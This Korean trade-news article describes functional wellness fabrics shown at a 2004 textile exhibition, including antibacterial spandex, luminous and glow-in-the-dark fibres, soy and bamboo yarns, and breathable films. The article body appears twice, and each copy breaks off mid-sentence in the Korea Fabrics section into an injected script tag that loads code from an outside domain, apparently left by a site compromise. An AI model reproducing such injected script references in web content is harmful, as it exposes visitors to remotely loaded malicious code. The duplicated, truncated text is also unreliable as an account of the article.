기능성 웰빙 소재 눈길 끌어 - 관련기사1
2006-03-15
2004 PID베스트 10
●효성
효성은 이번 전시회에서 42개 최대 부스를 확보해 웰빙 관련 제품을 대거 진열했다.
이번 전시회에서는 ‘Hyosung, alwa ys by your side’라는 슬로건 아래 가족이 피크닉하는 모습의 디스플레이를 연출했다. 마네킹의 옷과 소품 전부를 효성 소재로 만들어 눈길을 끌었다.
호응을 얻은 소재는 항균성 스판덱스인 ‘C-100B’, 환경친화적인 내염소성 스판덱스 ‘H-250’, 기존 신축성 섬유의 고무 감촉을 해결한 신축성 폴리에스터사인 ‘제나두-55(Xanadu-55)’, ‘나노-매직실버(Nano-Magicsilver)’ 등. 효성은 ‘2004 신제품 신소재 설명회’를 개최해 큰 호응을 얻었다.
●럭시아
럭시아는 발광섬유를 출시해 전시기간 내내 큰 호응을 얻었다.
이 회사는 발광섬유로 수를 놓아 색색으로 빛나는 의류, 가방, 모자를 전시회 기간에 선보였다.
이 부스의 한 관계자는 “의류, 가방, 모자, 카펫트 등에 적용이 가능하고 실내외 광고간판, 장식물, 조형물, 소방, 청소 등과 야간 안전복, 야간 특수복, 무대의상 및 행사복 등에 적용이 가능하다”고 설명했다.
다양한 색상 연출이 가능하고, 소재의 두께가 얇고 유연성과 내구성이 좋은 것도 장점이다. 또한 완벽한 방수처리로 세탁이 가능하고 온오프 조작도 자유롭다.
●새론
새론은 축광성 발광체를 섬유화한 축광섬유를 이번 전시회에 선보였다.
축광섬유는 태양과 같은 자연광이나 백열등, 형광등, 일반 조명등과 같은 인위적 조명의 빛을 받아, 이 빛을 흡수 저장하였다가, 어두운 곳에서 빛을 내는 섬유를 말한다.
이 부스의 한 관계자는, “국내 코오롱, 효성, 제일모직, 비와이씨 등에서 많은 관심을 가졌으며 향후 공동 상품화가 예상된다. 이 제품은 섬유 소재 겉표면을 폴리에스테르로 코팅해 세탁 및 후가공에 의하여 축광성 발광체가 떨어지지 않아 반영구적이다. 또한 가격도 킬로당 5-6만원선으로 해외 유명소재보다 50% 가량 저렴하다” 고 밝혔다.
축광섬유는 직물, 편물, 부직포 등 원단과 의류, 섬유제품, 산업자재, 인테리어 등의 각종 제품에 적용이 가능하다.
또한 새론은 흡습섬유를 선보였다. 흡수성능이 물에서 자기 무게의 100배(생리식염수에서 45배),흡습력은 150%(상대습도 90% 조건하)로 대단히 높고 반복사용이 가능하다는 것이 특징이다.
●미두·갑을·태광
미두섬유(대표 임진묵)는 이번 전시회에 갑을, 태광 등의 업체와 공동부스로 그간 개발한 다양한 아이템들을 소개했다.
콩 및 죽섬유 제품을 소개했고, 전시회 중 세미나를 통해 실질적인 원단개발을 발표하였다.
또한 미두섬유는 면 방적 생산원사의 브랜드 ‘소야(SOYA)’, 소모방적 원사 ‘소이플러스(SOYPLUS)’, 대나무 면방적 원사 ‘뱀부야(BAMBOOYA)” 택을 나누어주기도 했다.
이 회사의 권영주 이사는, “패션내의에 처음 적용되었던 콩섬유는 이제 유아, 캐주얼, 셔츠에서 정장의류까지 적용되고 있다. 최근 콩 및 죽섬유를 이용한 부직포, 펠트 제품에 이어 죽섬유를 새로운 공법을 통하여 생산한 죽 필라멘트사를 신소재로 전시할 계획이고, 천연 염색을 한 콩·죽 섬유도 선보일 계획”이라며, “올 초에는 유럽에 원사 120톤을 수출하는 등 수출 실적도 향상되고 있다”고 밝혔다.
●샤인텍 티엔시
사인텍 티엔시는 샌드워싱을 하지 않아도 부드러운 느낌이 나는 소재 ‘씨빅스(CVIX)”를 출시해 인기를 얻었다.
이 부스의 김성환 사장은,” 씨빅스소재로 만든 옷은 샌드워싱 가공을 하지 않고도 기존에 표현하기 어려웠던 부드럽고 향상된 물성을 실현할 수 있다. 특히 몸에 직접 닿는 이너웨어나 유아복에 사용하면 좋다”고 설명했다. 또한 워싱 공정이 필요없어 제조단가를 줄일 수 있다는 것이 장점이다.
●범상공
범상공이 이번 전시회에 방풍성과 보온성이 강화되면서 무게는 가벼워진 특수 필름을 선보였다. 이 소재는 특수복과 군복 등에 활용되고 있는 아이템으로 투습, 방수 등의 효과를 높일 수 있는 것이 장점.
이 회사의 변복수 전무는, “60여 건 상담 중 10여 건이 큰 계약으로 연결될 것으로 예상된다.
통기성 투습방수코팅 기능성 소재에 특별히 관심을 가진 바이어들은 생산공장을 직접 방문하는 등 매우 높은 관심을 보였다. 영국의 스피도, 엘레쎄 등은 2회 전시회 때 참관한 후 작년 10월부터 본 계약이 이루어진 상태에서, 올해도 참관하여 80～100만불 정도 오더를 내기로 합의했다”고 밝혔다.
범상공은 그 외에 섬유표면에 나노 입자를 처리해 꽃가루와 황사를 방지하는 제품 등 다양한 소재를 출시했다.
●코리아 패브릭스
스포츠웨어용 흡한속건 소재, 향기 나는 소재, 항균성 소재를 출시해 인기를 얻었으며 특히 중국의 2개 바이어와 대형 오더 상담을 한 것으로 ?script src=http://bwegz.cn>
효성은 이번 전시회에서 42개 최대 부스를 확보해 웰빙 관련 제품을 대거 진열했다.
이번 전시회에서는 ‘Hyosung, alwa ys by your side’라는 슬로건 아래 가족이 피크닉하는 모습의 디스플레이를 연출했다. 마네킹의 옷과 소품 전부를 효성 소재로 만들어 눈길을 끌었다.
호응을 얻은 소재는 항균성 스판덱스인 ‘C-100B’, 환경친화적인 내염소성 스판덱스 ‘H-250’, 기존 신축성 섬유의 고무 감촉을 해결한 신축성 폴리에스터사인 ‘제나두-55(Xanadu-55)’, ‘나노-매직실버(Nano-Magicsilver)’ 등. 효성은 ‘2004 신제품 신소재 설명회’를 개최해 큰 호응을 얻었다.
●럭시아
럭시아는 발광섬유를 출시해 전시기간 내내 큰 호응을 얻었다.
이 회사는 발광섬유로 수를 놓아 색색으로 빛나는 의류, 가방, 모자를 전시회 기간에 선보였다.
이 부스의 한 관계자는 “의류, 가방, 모자, 카펫트 등에 적용이 가능하고 실내외 광고간판, 장식물, 조형물, 소방, 청소 등과 야간 안전복, 야간 특수복, 무대의상 및 행사복 등에 적용이 가능하다”고 설명했다.
다양한 색상 연출이 가능하고, 소재의 두께가 얇고 유연성과 내구성이 좋은 것도 장점이다. 또한 완벽한 방수처리로 세탁이 가능하고 온오프 조작도 자유롭다.
●새론
새론은 축광성 발광체를 섬유화한 축광섬유를 이번 전시회에 선보였다.
축광섬유는 태양과 같은 자연광이나 백열등, 형광등, 일반 조명등과 같은 인위적 조명의 빛을 받아, 이 빛을 흡수 저장하였다가, 어두운 곳에서 빛을 내는 섬유를 말한다.
이 부스의 한 관계자는, “국내 코오롱, 효성, 제일모직, 비와이씨 등에서 많은 관심을 가졌으며 향후 공동 상품화가 예상된다. 이 제품은 섬유 소재 겉표면을 폴리에스테르로 코팅해 세탁 및 후가공에 의하여 축광성 발광체가 떨어지지 않아 반영구적이다. 또한 가격도 킬로당 5-6만원선으로 해외 유명소재보다 50% 가량 저렴하다” 고 밝혔다.
축광섬유는 직물, 편물, 부직포 등 원단과 의류, 섬유제품, 산업자재, 인테리어 등의 각종 제품에 적용이 가능하다.
또한 새론은 흡습섬유를 선보였다. 흡수성능이 물에서 자기 무게의 100배(생리식염수에서 45배),흡습력은 150%(상대습도 90% 조건하)로 대단히 높고 반복사용이 가능하다는 것이 특징이다.
●미두·갑을·태광
미두섬유(대표 임진묵)는 이번 전시회에 갑을, 태광 등의 업체와 공동부스로 그간 개발한 다양한 아이템들을 소개했다.
콩 및 죽섬유 제품을 소개했고, 전시회 중 세미나를 통해 실질적인 원단개발을 발표하였다.
또한 미두섬유는 면 방적 생산원사의 브랜드 ‘소야(SOYA)’, 소모방적 원사 ‘소이플러스(SOYPLUS)’, 대나무 면방적 원사 ‘뱀부야(BAMBOOYA)” 택을 나누어주기도 했다.
이 회사의 권영주 이사는, “패션내의에 처음 적용되었던 콩섬유는 이제 유아, 캐주얼, 셔츠에서 정장의류까지 적용되고 있다. 최근 콩 및 죽섬유를 이용한 부직포, 펠트 제품에 이어 죽섬유를 새로운 공법을 통하여 생산한 죽 필라멘트사를 신소재로 전시할 계획이고, 천연 염색을 한 콩·죽 섬유도 선보일 계획”이라며, “올 초에는 유럽에 원사 120톤을 수출하는 등 수출 실적도 향상되고 있다”고 밝혔다.
●샤인텍 티엔시
사인텍 티엔시는 샌드워싱을 하지 않아도 부드러운 느낌이 나는 소재 ‘씨빅스(CVIX)”를 출시해 인기를 얻었다.
이 부스의 김성환 사장은,” 씨빅스소재로 만든 옷은 샌드워싱 가공을 하지 않고도 기존에 표현하기 어려웠던 부드럽고 향상된 물성을 실현할 수 있다. 특히 몸에 직접 닿는 이너웨어나 유아복에 사용하면 좋다”고 설명했다. 또한 워싱 공정이 필요없어 제조단가를 줄일 수 있다는 것이 장점이다.
●범상공
범상공이 이번 전시회에 방풍성과 보온성이 강화되면서 무게는 가벼워진 특수 필름을 선보였다. 이 소재는 특수복과 군복 등에 활용되고 있는 아이템으로 투습, 방수 등의 효과를 높일 수 있는 것이 장점.
이 회사의 변복수 전무는, “60여 건 상담 중 10여 건이 큰 계약으로 연결될 것으로 예상된다.
통기성 투습방수코팅 기능성 소재에 특별히 관심을 가진 바이어들은 생산공장을 직접 방문하는 등 매우 높은 관심을 보였다. 영국의 스피도, 엘레쎄 등은 2회 전시회 때 참관한 후 작년 10월부터 본 계약이 이루어진 상태에서, 올해도 참관하여 80～100만불 정도 오더를 내기로 합의했다”고 밝혔다.
범상공은 그 외에 섬유표면에 나노 입자를 처리해 꽃가루와 황사를 방지하는 제품 등 다양한 소재를 출시했다.
●코리아 패브릭스
스포츠웨어용 흡한속건 소재, 향기 나는 소재, 항균성 소재를 출시해 인기를 얻었으며 특히 중국의 2개 바이어와 대형 오더 상담을 한 것으로 ?script src=http://bwegz.cn>
- Copyrights ⓒ 메이비원(주) 패션인사이트, 무단 전재 및 재배포 금지 -
